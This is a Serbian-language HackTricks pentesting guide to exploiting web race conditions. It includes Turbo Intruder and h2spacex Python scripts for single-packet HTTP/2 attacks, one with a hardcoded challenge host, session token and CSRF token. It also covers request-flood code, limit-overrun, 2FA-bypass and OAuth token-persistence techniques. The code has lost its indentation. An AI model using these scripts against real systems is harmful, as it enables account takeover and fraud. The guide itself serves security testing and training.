Race Condition

Reading time: 13 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

warning

Za duboko razumevanje ove tehnike proverite originalni izveštaj na https://portswigger.net/research/smashing-the-state-machine

Unapređenje napada na trkačke uslove

Glavna prepreka u iskorišćavanju trkačkih uslova je osiguranje da se više zahteva obrađuje u isto vreme, sa vrlo malom razlikom u njihovim vremenima obrade—idealno, manje od 1ms.

Ovde možete pronaći neke tehnike za sinhronizaciju zahteva:

HTTP/2 napad sa jednim paketom vs. HTTP/1.1 sinhronizacija poslednjeg bajta

  • HTTP/2: Podržava slanje dva zahteva preko jedne TCP veze, smanjujući uticaj mrežnog jitter-a. Međutim, zbog varijacija na strani servera, dva zahteva možda neće biti dovoljna za dosledno iskorišćavanje trkačkih uslova.
  • HTTP/1.1 'Sinhronizacija poslednjeg bajta': Omogućava prethodno slanje većine delova 20-30 zahteva, zadržavajući mali fragment, koji se zatim šalje zajedno, postizajući simultani dolazak na server.

Priprema za sinhronizaciju poslednjeg bajta uključuje:

  1. Slanje zaglavlja i podataka tela minus poslednji bajt bez završavanja toka.
  2. Pauza od 100ms nakon inicijalnog slanja.
  3. Onemogućavanje TCP_NODELAY kako bi se iskoristila Nagleova algoritam za grupisanje finalnih okvira.
  4. Pingovanje za zagrevanje veze.

Sledeće slanje zadržanih okvira trebalo bi da rezultira njihovim dolaskom u jednom paketu, što se može proveriti putem Wireshark-a. Ova metoda se ne primenjuje na statične datoteke, koje obično nisu uključene u napade na trkačke uslove.

Prilagođavanje arhitekturi servera

Razumevanje arhitekture cilja je ključno. Front-end serveri mogu različito usmeravati zahteve, što utiče na vreme. Proaktivno zagrevanje veze na strani servera, kroz beznačajne zahteve, može normalizovati vreme zahteva.

Rukovanje zaključavanjem zasnovanim na sesiji

Okviri poput PHP-ovog upravljača sesijama serijalizuju zahteve po sesiji, potencijalno prikrivajući ranjivosti. Korišćenje različitih tokena sesije za svaki zahtev može zaobići ovaj problem.

Prevazilaženje ograničenja brzine ili resursa

Ako zagrevanje veze nije efikasno, namerno izazivanje kašnjenja u ograničenju brzine ili resursa web servera putem poplave lažnih zahteva može olakšati napad sa jednim paketom izazivajući kašnjenje na strani servera pogodno za trkačke uslove.

Primeri napada

  • Tubo Intruder - HTTP2 napad sa jednim paketom (1 krajnja tačka): Možete poslati zahtev na Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), možete promeniti u zahtevu vrednost koju želite da brute force-ujete za %s kao u csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s i zatim odabrati examples/race-single-packer-attack.py iz padajućeg menija:

Ako planirate da pošaljete različite vrednosti, možete modifikovati kod sa ovim koji koristi rečnik iz clipboard-a:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

Ako web ne podržava HTTP2 (samo HTTP1.1) koristite Engine.THREADED ili Engine.BURP umesto Engine.BURP2.

  • Tubo Intruder - HTTP2 napad sa jednim paketom (Više krajnjih tačaka): U slučaju da treba da pošaljete zahtev ka 1 krajnjoj tački, a zatim više ka drugim krajnjim tačkama da aktivirate RCE, možete promeniti race-single-packet-attack.py skriptu sa nečim poput:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Takođe je dostupno u Repeater putem nove opcije 'Send group in parallel' u Burp Suite.
  • Za limit-overrun možete jednostavno dodati istu zahtev 50 puta u grupu.
  • Za connection warming, možete dodati na početku grupe neke zahteve ka nekoj nestatičnoj delu web servera.
  • Za delaying proces između obrade jednog zahteva i drugog u 2 podstanja koraka, možete dodati dodatne zahteve između oba zahteva.
  • Za multi-endpoint RC možete početi slati zahtev koji ide u skriveno stanje i zatim 50 zahteva odmah nakon njega koji eksploatišu skriveno stanje.
  • Automatizovani python skript: Cilj ovog skripta je da promeni email korisnika dok neprocenjivo verifikuje dok verifikacioni token novog emaila ne stigne na poslednji email (to je zato što je u kodu viđeno RC gde je bilo moguće modifikovati email, ali je verifikacija slata na stari jer je varijabla koja označava email već bila popunjena prvim).
    Kada se reč "objetivo" pronađe u primljenim emailovima, znamo da smo primili verifikacioni token promenjenog emaila i završavamo napad.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Poboljšanje napada sa jednim paketom

U originalnom istraživanju objašnjeno je da ovaj napad ima limit od 1.500 bajtova. Međutim, u ovom postu, objašnjeno je kako je moguće proširiti ograničenje od 1.500 bajtova napada sa jednim paketom na 65.535 B ograničenje prozora TCP-a korišćenjem fragmentacije na IP nivou (deljenje jednog paketa na više IP paketa) i slanje u različitom redosledu, što je omogućilo sprečavanje ponovnog sastavljanja paketa dok svi fragmenti ne stignu do servera. Ova tehnika je omogućila istraživaču da pošalje 10.000 zahteva za otprilike 166ms.

Napomena: iako ovo poboljšanje čini napad pouzdanijim u RC-u koji zahteva da stotine/hiljade paketa stignu u isto vreme, može imati i neka softverska ograničenja. Neki popularni HTTP serveri kao što su Apache, Nginx i Go imaju strogo podešavanje SETTINGS_MAX_CONCURRENT_STREAMS na 100, 128 i 250. Međutim, drugi kao što su NodeJS i nghttp2 nemaju ograničenje.
To u suštini znači da će Apache uzeti u obzir samo 100 HTTP konekcija iz jedne TCP konekcije (ograničavajući ovaj RC napad).

Možete pronaći neke primere korišćenja ove tehnike u repozitorijumu https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Pre prethodnog istraživanja, ovo su bili neki payload-ovi koji su korišćeni i koji su samo pokušavali da pošalju pakete što je brže moguće kako bi izazvali RC.

  • Repeater: Pogledajte primere iz prethodne sekcije.
  • Intruder: Pošaljite zahtev na Intruder, postavite broj niti na 30 unutar menija Opcije i izaberite kao payload Null payloads i generišite 30.
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Metodologija

Limit-overrun / TOCTOU

Ovo je najosnovnija vrsta race condition gde ranjivosti koje se pojavljuju na mestima koja ograničavaju broj puta na koji možete izvršiti neku radnju. Kao korišćenje istog koda za popust u veb prodavnici više puta. Veoma lak primer može se naći u ovom izveštaju ili u ovoj grešci.

Postoji mnogo varijacija ove vrste napada, uključujući:

  • Otkup poklon kartice više puta
  • Ocenjivanje proizvoda više puta
  • Podizanje ili prebacivanje gotovine iznad stanja na vašem računu
  • Ponovno korišćenje jednog CAPTCHA rešenja
  • Zaobilaženje anti-brute-force ograničenja brzine

Skriveni podstanja

Eksploatacija složenih race condition često uključuje korišćenje kratkih prilika za interakciju sa skrivenim ili nepredviđenim mašinskim podstanjem. Evo kako pristupiti ovome:

  1. Identifikujte Potencijalna Skrivena Podstanja
  • Počnite tako što ćete odrediti krajnje tačke koje modifikuju ili interaguju sa kritičnim podacima, kao što su korisnički profili ili procesi resetovanja lozinke. Fokusirajte se na:
  • Skladištenje: Preferirajte krajnje tačke koje manipulišu podacima koji su trajni na serveru u odnosu na one koje obrađuju podatke na klijentskoj strani.
  • Akcija: Tražite operacije koje menjaju postojeće podatke, koje su verovatnije da će stvoriti uslove za eksploataciju u poređenju sa onima koje dodaju nove podatke.
  • Ključ: Uspešni napadi obično uključuju operacije koje su ključne na istom identifikatoru, npr. korisničko ime ili token za resetovanje.
  1. Izvršite Početno Istraživanje
  • Testirajte identifikovane krajnje tačke sa napadima race condition, posmatrajući bilo kakve odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu signalizirati ranjivost.
  1. Dokažite Ranjivost
  • Sužavajte napad na minimalan broj zahteva potrebnih za eksploataciju ranjivosti, često samo dva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog tajminga uključenog.

Napadi Osetljivi na Vreme

Preciznost u tajmingu zahteva može otkriti ranjivosti, posebno kada se koriste predvidljive metode poput vremenskih oznaka za sigurnosne tokene. Na primer, generisanje tokena za resetovanje lozinke na osnovu vremenskih oznaka moglo bi omogućiti identične tokene za simultane zahteve.

Za Eksploataciju:

  • Koristite precizan tajming, poput napada jednim paketom, da izvršite simultane zahteve za resetovanje lozinke. Identični tokeni ukazuju na ranjivost.

Primer:

  • Zatražite dva tokena za resetovanje lozinke u isto vreme i uporedite ih. Podudaranje tokena sugeriše grešku u generisanju tokena.

Proverite ovo PortSwigger Lab da probate ovo.

Studije slučaja skrivenih podstanja

Plaćanje i dodavanje stavke

Proverite ovo PortSwigger Lab da vidite kako da platite u prodavnici i dodate dodatnu stavku za koju nećete morati da platite.

Potvrda drugih emailova

Ideja je da verifikujete email adresu i promenite je u drugu u isto vreme da biste saznali da li platforma verifikuje novu promenjenu.

Promena emaila na 2 email adrese zasnovane na kolačićima

Prema ovoj studiji Gitlab je bio ranjiv na preuzimanje na ovaj način jer bi mogao poslati token za verifikaciju emaila jedne email adrese na drugu email adresu.

Proverite ovo PortSwigger Lab da probate ovo.

Zaobilaženje 2FA

Sledeći pseudo-kod je ranjiv na race condition jer u veoma kratkom vremenu 2FA nije primenjen dok se sesija kreira:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 večna postojanost

Postoji nekoliko OAUth provajdera. Ove usluge će vam omogućiti da kreirate aplikaciju i autentifikujete korisnike koje je provajder registrovao. Da biste to uradili, klijent će morati da dozvoli vašoj aplikaciji da pristupi nekim od njihovih podataka unutar OAUth provajdera.
Dakle, do sada je to samo uobičajeni prijavljivanje putem google/linkedin/github... gde se pojavljuje stranica koja kaže: "Aplikacija <InsertCoolName> želi da pristupi vašim informacijama, da li želite da to dozvolite?"

Race Condition u authorization_code

Problem se javlja kada prihvatite i automatski šalje authorization_code zloćudnoj aplikaciji. Tada, ova aplikacija zloupotrebljava Race Condition u OAUth servisu da generiše više od jednog AT/RT (Authentication Token/Refresh Token) iz authorization_code za vaš nalog. U suštini, zloupotrebiće činjenicu da ste prihvatili aplikaciju da pristupi vašim podacima da kreira nekoliko naloga. Tada, ako prestaneš da dozvoljavaš aplikaciji da pristupi tvojim podacima, jedan par AT/RT će biti obrisan, ali ostali će i dalje biti validni.

Race Condition u Refresh Token

Kada ste dobili validan RT, mogli biste pokušati da zloupotrebite to da generišete nekoliko AT/RT i čak i ako korisnik otkaže dozvole za zloćudnu aplikaciju da pristupi njegovim podacima, several RTs će i dalje biti validni.

RC u WebSockets

U WS_RaceCondition_PoC možete pronaći PoC u Javi za slanje websocket poruka u paraleli da zloupotrebi Race Conditions takođe u Web Sockets.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks